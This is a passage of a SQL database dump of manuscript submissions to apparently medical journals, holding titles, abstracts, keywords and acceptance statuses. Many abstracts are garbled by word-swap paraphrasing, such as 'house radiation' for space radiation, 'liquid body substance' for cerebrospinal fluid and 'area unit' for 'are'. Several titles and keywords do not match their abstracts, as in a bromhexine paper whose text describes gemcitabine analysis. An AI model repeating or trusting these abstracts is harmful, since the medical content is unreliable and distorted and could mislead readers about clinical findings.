and 2014 and received maintenance TKI following HCT (n = 89) compared with no TKI maintenance  as according to the middle for International Blood and Marrow Transplant analysis. All patients received TKI medical care before HCT. The bulk of patients had a illness standing of 1st chronic part The study was conducted as a landmark analysis, excluding patients the eighty nine patients UN agency received TKI maintenance, seventy seven received one TKI and therefore the alternative twelve received multiple serial TKIs. the foremost common TKIs used for maintenance were or overall survival (maintenance, sixty one versus no maintenance failed to take issue considerably between patients receiving TKI maintenance or no maintenance. These results remained unchanged in statistical procedure and weren\'t changed by illness standing before transplantation. Finally, our information landmark analysis doesn’t demonstrate a big impact of maintenance medical care on clinical outcomes. The optimum approach to TKI administration within the post-transplantation setting in patients with CML remains undetermined.','Myelogenous leukaemia; Leukemic stem cells; Measurable residual disease; acute lymphoblastic leukaemia',3797,NULL,'2022-08-12',NULL,'Submitted',2,NULL,'2022-08-18',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12921,13139,959,0,'ipacr-22-12921','Noninvasive Ultrasonic Induction of humour Flow Enhances Intrathecal Drug Delivery',NULL,5,0,'','Intrathecal drug delivery is habitually employed in the treatment and bar of various central system conditions, as doing thus permits medication to directly bypass the barrier. However, the utility of this route of administration is proscribed by poor brain and funiculus parenchymal drug uptake from the liquid body substance. We tend to demonstrate that an easy noninvasive transcranial ultrasound protocol will considerably increase inflow of liquid body substance into the perivascular areas of the brain, to reinforce the uptake of intrathecal administered medication. Specifically, we tend to administered little and huge molecule agents into the cistern magna of rats so applied low, diagnostic-intensity cantered ultrasound during a scanning protocol throughout the brain. Mistreatment period of time resonance imaging and ex vivo histological analyses, we tend to ascertained considerably hyperbolic uptake of little molecule agents into the brain parenchyma, and of each little and huge molecule agents into the perivascular house from the liquid body substance. Notably, there was no proof of brain parenchymal harm following this intervention. The low intensity and noninvasive approach of transcranial ultrasound during this protocol underscores the prepared path to clinical translation of this method. During this manner, this protocol is often wont to directly bypass the barrier for whole-brain delivery of a range of agents. To boot, this method will doubtless be used as a way to probe the causative role of the glymphatic system within the style of unwellness and physiological processes to that it\'s been related.','single-cell genomics; spatial genomics; immune typing; tumor micro environment; combined therapy; tumor ecosystem',5399,NULL,'2022-08-12',NULL,'Submitted',2,NULL,'2022-08-18',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12922,13140,959,0,'ipacr-22-12922','Carcinogenesis Induced by Space Radiation: A Scientific Review',NULL,5,0,'','The malignant neoplastic disease risk from house radiation has perpetually been a health risk issue of nice concern throughout house exploration. In recent years, an oversized variety of cellular and animal experiments have incontestible that house radiation, composed of high-energy protons and significant ions, has shown obvious carcinogenicity. However, completely different from radiation on Earth, house radiation has the characteristics of high energy and low rate. it\'s wealthy in high-atom-number and high-energy particles and, because it is combined with alternative house environmental factors like microgravity and a weak flux, the study of its malignant neoplastic disease effects and mechanisms of action is troublesome, that ends up in nice uncertainty in its malignant neoplastic disease risk assessment. Here, we tend to review the most recent progress in understanding the consequences and mechanisms of action associated with cell transformation and carcinogenesis iatrogenic by house radiation in recent years and summarize the prediction models of cancer risk caused by house radiation and also the strategies to cut back the uncertainty of prediction to supply reference for the analysis and risk assessment of house radiation.','Radiation Carcinogenesis; Mouse models Countermeasures; Epidemiological; skin cancer carcinoma',5400,NULL,'2022-08-12',NULL,'Submitted',2,NULL,'2022-08-18',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12923,13141,45,0,'iphsj-22-12923','.',NULL,8,0,'','.','.',3430,NULL,'2022-08-12',NULL,'Submitted',2,NULL,'2022-09-26',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12924,13142,975,0,'ipjbs-22-12924','GLYCATED HAEMOGLOBIN (HbA1C) AND THE ASSESSMENT OF RISK OF NEPHROPATHY IN DIABETIC PATIENTS IN AHMADU BELLO UNIVERSITY TEACHING HOSPITAL ZARIA, NIGERIA',NULL,14,0,'','AbstractThe study looked into the correlation between glycated haemoglobin A1c (HbA1c) and the risk of developing diabetic nephropathy among diabetic patients attending Ahmadu Bello University Teaching Hospital Zaria, Nigeria, and also determined the level of HbA1c where the risk of nephropathy becomes pronounced.One hundred and one (101) diabetic patients were used for the study comprising of both male and female patients. About 5mL of blood sample was collected from each of the subjects after about 10 hours of overnight fasting. Then 3mL of the sample was centrifuged and the serum analysed for serum creatinine and also fasting blood glucose (FBG). The Glomerular Filtration Rate (GFR) was then calculated from the serum creatinine value using the Cockroft-Gault equation. The remaining 2mL from the blood sample was transferred into EDTA bottles and analysed immediately for glycated haemoglobin (HbA1C).Thirty-seven (37) of the diabetic subjects had mean HbA1C level of 6.96% that correspond to mean FBG level of 91.37mg/dL. Initially no significant correlation was found between HbA1c and the GFR. But there was significant correlation between HbA1c and GFR among patients with HbA1c level ≥ 9% (R= -0.35). Patients with this level of HbA1c (≥ 9%) had equivalent FBG ≥ 136 mg/dL. The risk of developing renal complications among patients was only prominent at the level of 9% HbA1c and above, and monitoring of patients should be done accordingly in order to guard against overtreatment, hypoglycaemia and unnecessary expenses.',' Glycated haemoglobin (HbA1c), Nephropathy, Diabetes, Serum creatinine, GFR, Blood glucose',4089,NULL,'2022-08-12',NULL,'Submitted',2,NULL,'2022-09-13',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0);
INSERT INTO `manuscripts` VALUES (12925,13145,251,0,'ipacm-22-12925','Microbial Profile in Bile from Cholecystectomised Patients by Culture and Multiplex PCR',NULL,5,0,'','Objectives:   \r\nBile in the biliary tract is normally sterile but presence of gallstones, ascending infection from duodenum or bacterial translocation from portal vein leads to microfloral colonization. Therefore, this study was aimed to evaluate the microbiological profile of bile for determination of the appropriate antimicrobials in cholecystectomised patients.\r\nDesign: This was a descriptive type of cross sectional study from July, 2013 to December, 2014\r\nSetting: In a tertiary medical college hospital, Dhaka, Bangladesh\r\nParticipants: This study included 246 patients irrespective of age and sex who underwent laparoscopic or open cholecystectomy for various indications in a tertiary hospital, Dhaka, Bangladesh.\r\nPrimary and secondary outcome measures: Similar secondary outcome as in protocol\r\nMethods:   \r\nThe intraoperative bile samples were collected and cultured in Blood agar and MacConkey’s agar media aerobically in the laboratory of Microbiology Department, Dhaka Medical College. The isolates were then tested for antibiotic sensitivity pattern. To detect anaerobic bacteria (Bacteroides fragilis, Clostridium perfringens and Fusobacterium nucleatum), multiplex polymerase chain reaction (PCR) was used with specific primers. \r\nResults:   \r\nOut of 246 bile samples, organisms were identified in 69.51% cases where 48.37% were aerobic bacteria identified by culture and 21.14% were anaerobic bacteria identified by multiplex PCR. Escherichia coli (26.61%) were found predominantly followed by Staphylococcus aureus (19.35%), Citrobacter freundii (14.52%), Clostridium perfringens (13.82%), Pseudomonas spp. (11.29%), Salmonella enterica serovar Typhi 8 (3.45%), and Acinetobacter spp. (3.23%). Gram negative bacteria showed resistance to amoxiclav, ceftriaxone and ceftazidime while meropenem, piperacillin-tazobactam and colistin were found more effective antimicrobials.\r\nConclusions:   \r\nA great proportion of aerobic and anaerobic bacterial infection associated with gallstones or biliary tract obstruction may warrants serious health risk to cholecystectomised patients in this region. Regular surveillance of bile culture from gallbladder should be done after cholecystectomy.','Bile, Aerobic bacteria, Salmonella Typhi, Anaerobic bacteria, Multiplex PCR',783,NULL,'2022-08-15',NULL,'Submitted',2,NULL,'2022-09-24',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12926,13105,975,0,'ipjbs-22-12926','INHALATION EFFECT OF INSECTICIDES ON COAGULATION PROFILES OF RABBITS',NULL,14,0,'','Background: High malaria burden   has led to the increase use of insecticides in the tropics and subtropics. This study thus aimed at assessing the effect of insecticides inhalation on coagulation profile using experimental animal model.\r\nMethods: Sixteen adult male rabbits divided into four groups  A, B, C and D. Group A,B and C were exposed to  20ml of pyrethroid insecticides containing 0.05% pralletrin and 0.15% cyfluthrin  by inhalation for 10mins,20mins, and 30mins respectively. Group D serve as the control and was not exposed. Baseline study was done on all the animals before grouping for exposure.  The pyrethroid insecticides was soaked in cotton wool (2.5g) in a container  that was able to prevent the animal from ingesting it, which was placed inside  the room A, B and  C  for 10mins,20mins and 30mins respectively. The rabbits were exposed for three weeks and sample were collected at the end of each week. Exposure was discontinued after day 21and Samples were collected again on day 28 and 35 respectively which is the fourth and fifth week. All the animals were monitored twice daily for clinical signs like jerky movement, skin scratching, licking of legs and other body parts. \r\nResults: Data analysis revealed that there was   significant effect of inhalation of   insecticides on coagulation profile of rabbits at 10min, 20mins and 30mins of exposure. There were significant decreased in PTTK and INR. But there was no significant effect on prothrombin time.\r\nConclusion: The results from this study have shown that aerosol of these pyrethroid insecticides (pralletrin and cyfluthrin) has effect on coagulation parameters. It is thus recommended that one should avoid exposure to the aerosol of these insecticides during domestic, veterinary,agricultural or industrial use.','Insecticides, prothrombin time, INR, Activated partial thrombin time, coagulation, rabbits',4089,NULL,'2022-08-16',NULL,'Submitted',4,NULL,'2022-09-09',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12929,13150,326,0,'IPJUS-22-12929','Laparoscopic Surgery Types of laparoscopic and Treatment ',NULL,5,0,'','A laparoscopy is one way to get a closer look at the organs in your abdomen and your reproductive organs. This procedure can be used to help diagnose different medical conditions and take biopsies – samples of tissue that are tested. laparoscopy is generally a safe procedure with few complications.\r\nLaparoscopy is a type of surgical procedure that allows a surgeon to pierce the inside of the tummy (breadbasket) and pelvis without having to make large lacerations in the skin. This procedure is also known as keyhole surgery or minimally invasive surgery.\r\nLaparoscopic surgery is a surgical fashion in which short, narrow tubes (trochars) are fitted into the tummy through small (lower than one centimeter) lacerations. Through these trochars, long, narrow instruments are fitted. The surgeon uses these instruments to manipulate, cut, and suture towel.\r\n','Laparoscopic Surgery ',2505,NULL,'2022-08-17',NULL,'Submitted',2,NULL,'2022-08-19',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12930,13151,251,0,'ipacm-22-12930','Viral Diseases: Description of HIV and AIDS',NULL,5,0,'','UNAIDS estimates that encyclopedically36.7 million people, including2.1 million children, were living with mortal immunodeficiency contagion (HIV) infection in2016.1 the number of people who acquired HIV infection in 2016 was1.8 million. Since the launch of the epidemic, 35 million people have failed of acquired vulnerable insufficiency pattern (AIDS)- related ails. Tuberculosis is still the leading cause of death in people living with HIV; still, deaths due to AIDS have fallen by 48 since their peak in 2005. Access to antiretroviral remedy( ART) is adding , and an estimated19.5 million people with HIV infection were entering ART in2016.1\r\nHIV is an enveloped RNA contagion belonging to the genuslentivirus within the familyRetroviridae. The complaint- causing contagions are HIV- 1 and HIV- 2, which affect in a decline in CD4 T lymphocytes.2 HIV- 2 is detected substantially in West Africa. Both HIV types beget a analogous clinical complaint profile. HIV- 2, still, is associated with a reduced rate of transmissibility, more gradational decline in CD4 T lymphocytes, and clinical progression.2 HIV enters cells via CD4 and the chemokineco-receptors CCR5 and CXCR4.2 The lack of natural eliminatory mechanisms of HIV following primary infection and continued viral replication throughout the course of the complaint are vital to the inauguration, establishment, and propagation of HIV infection. In a Danish population- grounded study, grown-ups with both skin infections and ‘ skin conditions ’ were significantly more likely to be diagnosed with HIV infection in the posterior 5 times compared to individualities without.3 further than 90 of HIV- infected individualities will develop one or further dermatological diseases during the course of their illness, either as a result of AIDS or due to the goods of treatment,5 likewise, cutaneous complaint is frequently the first incarnation of undiagnosed HIV infection or AIDS.\r\n','HIV; mortal immunodeficiency contagion; health issues; comorbid, marquee review',3944,NULL,'2022-08-17',NULL,'Submitted',2,NULL,'2022-09-24',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12932,13152,91,0,'ijddr-22-12932','Transdermal Drug Delivery Systems Enhancement in Skin Permeation Using Electroporation and Gold Nanoparticle',NULL,5,0,'','To compare the performance differences between transdermal products, in vitro drug release tests are often utilised and mandated by numerous authorities. The outcome, however, is insufficient to make a reliable prediction of the drug release in vivo. The traditional USP apparatus 2 and 5 methods and a new approach for assessing drug release from patches have both been investigated in this study. On a synthetic skin simulator, durogesic patches—used here as a model patch—were applied, and three moisture levels (29, 57, and 198 L cm2) were assessed. The artificial skin simulators were taken out at 1, 2, 3, 4, 6, and 24 hours and removed using a hydrochloric acid solution with a pH of 1.0. Isocratic reverse phase high-pressure liquid chromatography was used to determine the drug concentrations in the extractions. The outcomes demonstrated that the drug release rate increased as the moisture level on the synthetic skin simulator rose. The new approach\'s medication release results had a better association with the release rate stated on the product label than the traditional USP method did. In the early stages of development, this innovative technique may be able to distinguish between the drug releases rates of various transdermal drug delivery system formulations.\r\nPoor skin permeability makes it difficult to deliver drugs via transdermal (TRD) delivery at the necessary therapeutic rate. Using the complementary effects of skin electroporation and gold nanoparticle (GNP), a unique TRD enhancement technique was developed in the current work. The model medicine chosen was diclofenac sodium (DS). The polyvinyl alcohol/poly (dimethyl siloxane)-g-polyacrylate skin adhesive matrix was used to create an electro-sensitive patch. To improve skin permeability and electrical conductivity, respectively, GNP/carbon nanotube nanocomposite (GNP-CNT) was introduced into the matrix using GNP and CNT. By adjusting the GNP-CNT concentration, it is possible to fine-tune the device\'s characteristics by changing the device\'s thermomechanical properties, water vapour permeability (WVP), drug encapsulation efficiency (DEE), and drug release profile.','Thermomechanical; Transdermal; Deliver Drug',4126,NULL,'2022-08-17',NULL,'Submitted',12,NULL,'2022-09-03',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12933,13153,91,0,'ijddr-22-12933','Pharmaceutical formulations with Spectrophotometric Determination of Bromhexine HCl',NULL,5,0,'','Theophylline has been used as an internal standard in the development of a quick, easy, cheap, and sensitive liquid chromatographic method for the measurement of gemcitabine in injectable dose forms. With a mobile phase made up of 90% water and 10% acetonitrile, chromatographic separation was accomplished on a Phenomenex Luna C-18 column (250 mm 4.6 mm; 5). (pH ). Gemcitabine and theophylline signals were captured at 275 nm. The 0.5 to 50 g/mL concentration range was covered by linear calibration curves. As high as 0.999 was the correlation coefficient. 0.1498 and 0.4541 g/mL, respectively, were the limits of detection and quantitation. Less than 2% were within- and between-day precision. From 100.2% to 100.4% of the method\'s measurements were accurate. The medication was stable to sunshine and UV light, according to stability experiments. Under alkaline stress, the medication yields six distinct hydrolytic compounds, while under acidic stress, it yields three. The medicine is also degraded by oxidative and aqueous stresses. Comparing the alkaline condition to other stress settings, degradation was greater in this one. Using experimental design, the robustness of the approaches was assessed. According to validation, the suggested approach is suitable for the quantitative analysis and is specific, accurate, precise, reliable, robust, and reproducible.\r\nFor the analysis of the medication in pharmaceuticals, five spectrophotometric techniques for bromhexine HCl determination have been devised, verified, and put to use. The three triphenylmethane dyes—bromothymol blue (BTB), bromophenol blue (BPB), and bromocresol green—are used to ion-pair complex the medication in the methods A, B, and C. (BCG). The complexes are extracted into chloroform, and as a function of drug concentration, absorbance is measured at about 415 nm. In each instance, it is discovered that the complex\'s stoichiometry is 1 : 1. The charge-transfer complexation of the neutralised drug with the iodine in Method D results in the production of the iodide ion, whose absorbance at 366 nm is determined as a function of the drug concentration.  this complex\'s composition is also 1: 1. The concept behind Method E is the oxidation of the medication with alkaline KMnO4, which produces a green manganate ion with a maximum wavelength of 610 nm. The reaction\'s kinetics are observed as the intensity of the green hue grew with time, and calibration curves are built using the initial rate and fixed time approaches. The methods can be utilised successfully in industries for the assay of drugs in pure form and pharmaceuticals, according to excellent recovery studies with high accuracy and precision.','Pharmaceuticals; Bromophenol',4128,NULL,'2022-08-17',NULL,'Submitted',2,NULL,'2022-08-22',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12934,13154,975,0,NULL,'Impact of Covid-19 on Diabetes Patient\'s ',NULL,14,1,'Both are globally Diseases ','Attached as a file ','COVID-19, Diabetes, CPA, RA, COPD, ARDS',4873,NULL,'2022-08-18',NULL,'Submitted',18,NULL,NULL,NULL,1,0,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(12935,13155,326,0,'IPJUS-22-12935','Outpatient Surgery and Types of anesthesia',NULL,5,0,'','Four outpatient surgery centers from a large Midwestern community participated in this study assessing the impact of an intervention—aimed at improving the collection of patients\' pre-operative clinical information—on both the patients\' clinical outcomes and staffs\' quality of working life. As part of this study the investigators developed a patient telephone survey to assess the incidence of common or undesirable postoperative symptoms and how they were subsequently managed. This survey was adapted from instruments developed in previous work in outpatient follow-up and anesthesiology. In addition to symptom assessment and management, the investigators were interested in determining how participants rated their medication teaching, pre-operative preparation, and postoperative education. The investigators recruited patients to participate in this study who had ophthalmic, open-joint, otolaryngological (ear, nose, and throat), or intra-/extra-abdominal surgery. The investigators contacted the participants via telephone at least 7 days after surgery and asked them a series of questions about symptoms they experienced, how they managed these symptoms, and the education they received. This paper will detail the development and content of the patient survey. Packing a bag for a night or two in the hospital might not be on your to-do list if you’re preparing for surgery. Today nearly two-thirds of all operations are performed in outpatient facilities, according to the Centers for Disease Control and Prevention. Your surgery might be performed in a facility connected to a hospital, a separate surgical center or your physician’s office. Outpatient surgery, also called same-day, ambulatory, or office-based surgery, provides patients with the convenience and comfort of recovering at home, and can cost less. It might also help lower your risk of infection.','Outpatient surgery, clinical outcomes and staffs',2505,NULL,'2022-08-18',NULL,'Submitted',2,NULL,'2022-08-23',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12936,13156,91,0,'ijddr-22-12936','Drug Target of Protein and Diabetic Nephropathy',NULL,5,0,'','In biomedical research, the discovery and validation of drug targets are essential, and numerous studies have been done to analyse drug target properties in order to better understand the fundamentals of their actions. However, the majority of them are based on either solid biological assumptions or the distinct chemical and physical characteristics of those targets. In this study, we evaluated three major approaches to understanding functional biomolecules based on the topological characteristics of pharmacological targets. The protein-protein interactions network shows no discernible distinctions between targets and common proteins, indicating the drug targets are neither the bridge proteins nor the dominating hub proteins. There are notable distinctions between known targets and other proteins based on some unique topological structures of the pharmacological targets. There are notable distinctions between the known targets and other proteins based on certain unique topological structures of the pharmacological targets. Additionally, based on their modularity, the pharmacological targets primarily belong to three types of communities. These topological characteristics can be used to better understand how the PPI network\'s drug targets function. In particular, it is a different approach to extract no targets or anticipate possible targets to test a new therapeutic target quickly and affordably. In this manner, the homologous set of a pharmacological target, which contains 102 possible target proteins, is predicted in the article.\r\nPeople with diabetic nephropathy (DN) have a lower quality of life and a shorter life expectancy. Evidence suggests that interactions between activated protein kinase C (PKC), advanced glycation end products (AGEs), and angiotensin II worsen the course of DN. A number of drugs have been studied to see if they can reduce the progression of DN, including AGEs, PKC, renin-angiotensin-aldosterone system (RAAS), and angiotensin-converting enzyme (ACEI) inhibitors. It is unclear whether specific molecular targets of drugs cause an improvement in renal damage in DN. In this review, the prospective treatment targets are outlined based on hypothesised illness progression mechanisms.','Hypothesized; Biomedical',4125,NULL,'2022-08-18',NULL,'Submitted',2,NULL,'2022-08-22',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12938,13158,91,0,'ijddr-22-12938','Herbal Bioenhancers Vesicular Drug Delivery System',NULL,5,0,'','Numerous issues arise in the field of solubility augmentation. Pharmacosomes, a revolutionary method based on lipid medication delivery, have emerged. Pharmacosomes are covalently bound, colloidal, nanometric-size micelles, vesicles, or hexagonal assemblies of colloidal drug dispersions to the phospholipid. Due to their special qualities such tiny size, amphiphilicity, active drug loading, high entrapment efficiency, and stability, they serve as suitable carriers for drug administration fairly accurately. In addition to lowering therapy costs, drug leakage and toxicity, increasing the bioavailability of poorly soluble medications, and having restorative benefits, they aid in the regulated release of drugs at the site of action. Ayurveda\'s innovative methods for discovering active ingredients have significantly aided in the discovery of new drugs. A fundamental change in the practise of medicine has been brought about by recent improvements in the bioavailability enhancement of pharmaceuticals by substances of herbal origin. As a result, a bibliographic study was conducted by examining traditional textbooks and peer-reviewed articles, accessing internationally renowned scientific databases from the previous 30 years. It has been demonstrated that herbal bioenhancers can improve the bioavailability and bioefficacy of a variety of therapeutic classes, including antibiotics, antituberculosis, antiviral, antifungal, and anticancer medicines, at modest doses. The oral absorption of nutraceuticals such vitamins, minerals, amino acids, and certain herbal components has also been improved. Their primary modes of action involve drug metabolism, drug absorption, and drug target interaction.','Antituberculosis; Anticancer',4128,NULL,'2022-08-18',NULL,'Submitted',2,NULL,'2022-08-22',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12939,13094,971,0,'ipaclr-22-12939','The relationship between a sleeping disorder indications and metabolic disorder in patients with serious psychiatric clutters',NULL,11,0,'','To examine the relationship between a sleeping disorder indications and metabolic disorder in patients with serious psychiatric clutters. A sleeping disorder side effect were evaluated by the Pittsburgh Rest Quality File The determination of metabolic disorder was characterized utilizing the unused Worldwide Diabetes Alliance definition based on clinical and research facility assessment. Inside extremely rationally sick patients, sleep deprivation indications are related with metabolic disorder and affront resistance. It shows up that a sleeping disorder indications are free clinical markers of basic metabolic disorder in patients with extreme psychiatric disarranges.','Insomnia symptoms, Severe psychiatric disorders, Insulin resistance, Metabolic syndrome',4009,NULL,'2022-08-18',NULL,'Submitted',2,NULL,'2022-09-08',NULL,1,1,'1','Accept without Changes',0,NULL,NULL,NULL,0,0,0,NULL,0),(12940,13096,971,0,'ipaclr-22-12940','Subjects with and without mental disarranges shared a few covering chance components of COVID-19',NULL,12,0,'','Subjects with mental clutters are at a better chance of different widespread, but no particular considers concerning on screening and comparing the chance components of COVID-19 for subjects with and without mental disarranges, and the part of diverse classes of mental disarranges with regard to the COVID-19.There were critical interaction impacts between mental disarranges and age, sex, ethnicity, wellbeing appraisals, financial misfortune, way of life propensities or comorbidities on COVID-19 chance. Subjects with and without mental disarranges shared a few covering chance components of COVID-19, counting the non-white ethnicity, financial misfortune and comorbidities. Subjects without mental disarranges carry a few particular hazard and defensive components.','COVID-19, Risk factor, Interaction, Comorbidity',4009,NULL,'2022-08-18',NULL,'Submitted',2,NULL,'2022-09-08',NULL,1,1,'1','Accept without Changes',0,NULL,NULL,NULL,0,0,0,NULL,0),(12941,13159,91,0,'ijddr-22-12941','Pharmacokinetic Modeling: Target for Antidepressant Drug Development',NULL,5,0,'','Targeting the nicotinic acetylcholine receptor is a crucial new direction in the development of antidepressant drugs (nAChR). This receptor, which is extensively distributed in the areas of the brain connected to depression, is also involved in other significant processes that are connected to depression, including stress and inflammation. Mecamylamine- and cytisine-based compounds can be used as a general classification of the two types of medications that target nAChRs. Strong preclinical results support the antidepressant efficacy of both classes when used in conjunction with other primary antidepressants, and these medications likely exert their effects by antagonistically binding to nAChRs at the 42 position (e.g., monoamine reuptake inhibitors). Preliminary findings in this field provide a compelling case for further investigation of the nAChR as a target for the creation of new antidepressant medications, despite the paucity of clinical evidence in this domain. Physiologically based pharmacokinetic (PBPK) modelling is a concept that has been around for a while, although it has not seen much use. The rise in the number of papers in this area, however, indicates that both interest in and use of this modelling technique have grown. The technique, uses, and restrictions of PBPK modelling are briefly illustrated in this work, with a focus on the use of PBPK models in the development of paediatric medications. Several specific examples are also provided. Despite the fact that PBPK models do have significant drawbacks, the technique has a very high potential for success. In order to enhance decision-making during drug discovery, PBPK models can be used to examine drug pharmacokinetics in various physiological and pathological contexts or in various age groups. This is possibly most crucial.','Physiological; Pharmacokinetic',4127,NULL,'2022-08-18',NULL,'Submitted',2,NULL,'2022-08-23',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12944,13161,959,0,'ipacr-22-12944','Thyroid Cancer in Women of Reproductive Age and the Perinatal Period: Diagnostic and Treatment Aspects',NULL,5,0,'','Any girl of procreative age diagnosed with thyroid cancer ought to be offered preconception recommendation on the risks of thyroid cancer progression or repetition, or adverse obstetrical and/or childhood outcomes, and family planning in cases wherever thyroid cancer treatment contraindicates maternity. For most cases of differentiated thyroid cancer (DTC) within the perinatal amount, treatment is often delayed till once delivery. If surgery is usually recommended throughout maternity, it ought to be performed within the trimester. Pregnancy isn\'t related to clinically purposeful illness progression of antecedently treated DTC or micro papillary thyroid cancer underneath active police investigation. It’s counselled to avoid maternity for six to twelve months once radioactive iodine treatment. The necessity for hormone medical care to attain a suppressed humour thyrotrophic hormone level throughout maternity relies on the DTC’s dynamic risk response; however the harms and advantages of this could be weighed against the risks of adverse maternity outcomes.','Thyrotoxic cancer; Obstetric Fertility; Preconception; Iodine-131 radioactive; hormonal thyroid',5399,NULL,'2022-08-19',NULL,'Submitted',2,NULL,'2022-08-30',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12946,13062,86,0,'ipaom-22-12946','Update on Hypertrophic Cardiomyopathy',NULL,5,0,'','Hypertrophic Cardiomyopathy (HCM) is a rather common condition seen by anesthesiologists in the perioperative phase. HCM was thought to be a rare condition fifty years ago. However, our understanding and capacity to diagnose HCM patients has vastly increased in recent years. Patients with HCM have a wide range of genotypic and phenotypic characteristics. A subset of these patients does, in fact, have the HCM genotype but not the manifestation (left ventricular hypertrophy). Pharmacotherapy to control symptoms, implantable cardiac defibrillators to manage malignant arrhythmias, and surgical myectomy and septal ablation to reduce the left ventricular outflow obstruction are all options for these individuals. For the perioperative care of these patients, an accurate diagnosis is critical. Left ventricular hypertrophy, left ventricular outflow tract gradients, systolic and diastolic function, and mitral valve morphology and function are typically used to make the diagnosis. Cardiac magnetic resonance imaging can also be used for diagnosis.','systolic',2890,NULL,'2022-08-19',NULL,'Submitted',2,NULL,'2022-08-20',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12947,13163,959,0,'ipacr-22-12947','Lactate and succinate, oncometabolites, activate pro-angiogenic macrophages in malignancies.',NULL,5,0,'','Macrophages area unit innate vegetative cell leukocytes that area unit extremely gift in solid tumors, wherever they\'re brought up as tumor-associated macrophages (TAMs). In solid tumors, the microenvironment is commonly immunological disorder and hypoxic regions area unit current. These hypoxic conditions impose growth cells to reprogram their metabolism, shifting from organic process to anaerobic metabolic process. This alleged glycolytic switch permits hypoxic growth cells to survive, proliferate, and eventually to out compete untransformed cells. The hypoxia-induced modification in growth cell metabolism results in the assembly of oncometabolites, among that area unit the glycolytic end-metabolite wet-nurse and also the tricarboxylic acid cycle intermediate succinate. TAMs will react to those oncometabolites, leading to AN altered maturation and also the adoption of pro-angiogenic options. These angiogenesis-promoting TAMs are according to work with growth cells within the formation of recent vessels, and even are thought-about a very important reason for resistance against anti-angiogenic therapies.','pre-cancer tumor; resistance metastasis; cancer transitions; single-cell genomics; spatial genomics; cell leukocytes',5399,NULL,'2022-08-19',NULL,'Submitted',2,NULL,'2022-08-30',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12948,13062,86,0,'ipaom-22-12948','Neurogenic Pulmonary Edema in Patients with Acute Severe Brain Injury: Pathophysiology and Management',NULL,5,0,'','In the context of critical care, this article will offer a narrative assessment of the data pertaining to theories, diagnoses, and treatments for neurogenic pulmonary edoema (NPE). Although the precise mechanisms causing NPE are still unknown, putative mechanisms for the condition include increased catecholamine release, increased vagal tone, and increased capillary permeability. This is known as the \"blast injury theory\" because it causes pulmonary vasoconstriction as a result. The diagnosis entails spotting pulmonary edoema symptoms in the presence of a brain damage, and the most effective treatment methods seem to be those that aim to preserve a normal physiological condition. Any acquired lesion to the brain constitutes an acute brain injury (ABI), which is a major global cause of morbidity and mortality. Twenty to thirty percent of people with ABI get lung damage. Despite being a significant complication, neurogenic pulmonary edoema (NPE) is frequently underdiagnosed.','pulmonary',2890,NULL,'2022-08-19',NULL,'Submitted',2,NULL,'2022-08-20',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12949,13062,86,0,'ipaom-22-12949','Causes of hemiplegic cerebral palsy and its management',NULL,5,0,'','A retrospective population-based study of 169 instances with hemiplegic cerebral palsy (CP) from the South-western Swedish health care region covering the birth years 1969-1978 was conducted. The goal was to look at the prevalence, aetiology, and neurodevelopmental outcomes in preterm and full-term babies, as well as correlate pathogenetic periods, etiological factors, and clinical parameters to neuroradiology. The frequency was 0.66 per 1000 between the ages of 6 and 15. Postnatally acquired hemiplegia accounted for 11% of the total, with the majority of cases being postinfectious, iatrogenic, or posttraumatic. Prenatal (primarily circulatory brain lesions and maldevelopments) was the aetiology in 42 percent of term children with congenital hemiplegia (pre and perinatally derived), combined pre and perinatal in 9 percent, perinatal (cerebral haemorrhage, hypoxia) in 16 percent, and untraceable in 34 percent.','brain',2890,NULL,'2022-08-19',NULL,'Submitted',2,NULL,'2022-08-20',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12950,13062,86,0,'ipaom-22-12950','An observation on the effect of baicalin on inflammatory mediator levels',NULL,5,0,'','The number of medications currently on the market is incalculable, and their prescription is steadily increasing, raising the risk of severe effects. Currently, the entire population is exposed to a variety of pharmacologic substances, the majority of which are toxic and used without scientific explanation. Even more pharmaceuticals are consumed without medical supervision or prescription, unintentionally, with food, herbal remedies, and over-the-counter medications. This result in widespread toxicity that is difficult to detect, frequently goes unnoticed, and can be highly harmful.','increasing',2890,NULL,'2022-08-19',NULL,'Submitted',2,NULL,'2022-08-20',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12951,13062,86,0,'ipaom-22-12951','The Use Of Near Infra-Red Radiation Imaging',NULL,5,0,'','Left ventricular mechanical dispersion measured by two dimensional speckle tracking echocardiography (MD) is a novel strain derived parameter that reflects temporal cardiac contraction heterogeneity and has consequently gained attention as a predictor of increased arrhythmic risk in selected cardiac diseases.','heterogeneity',2891,NULL,'2022-08-19',NULL,'Submitted',2,NULL,'2022-08-20',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12953,13165,959,0,'ipacr-22-12953','Deregulated Chemicals and Pathways Contribute to Breast Cancer Cells\' Propensity to Spread to Bone.',NULL,5,0,'','Bone metastasis is that the most typical pathological process destination in advanced carcinoma, presenting a 